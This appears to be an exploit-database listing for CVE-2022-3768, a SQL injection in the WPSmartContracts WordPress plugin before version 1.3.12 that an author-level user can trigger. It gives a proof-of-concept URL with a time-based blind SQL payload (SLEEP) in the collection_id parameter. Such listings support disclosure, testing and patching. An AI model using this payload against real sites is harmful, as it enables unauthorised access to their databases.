Exploit for WPSmartContracts < 1.3.12 - Author+ SQLi CVE-2022-3768

Name: Exploit for WPSmartContracts < 1.3.12 - Author+ SQLi CVE-2022-3768
Rating: 5 (96 reviews)

2022-11-07 | CVSS 0.8

## https://sploitus.com/exploit?id=WPEX-ID:1D8BF5BB-5A17-49B7-A5BA-5F2866E1F8A3
Logon as an author and open the following URL, which will result in a delayed response

https://example.com/wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(4)))hlAf)&uid=1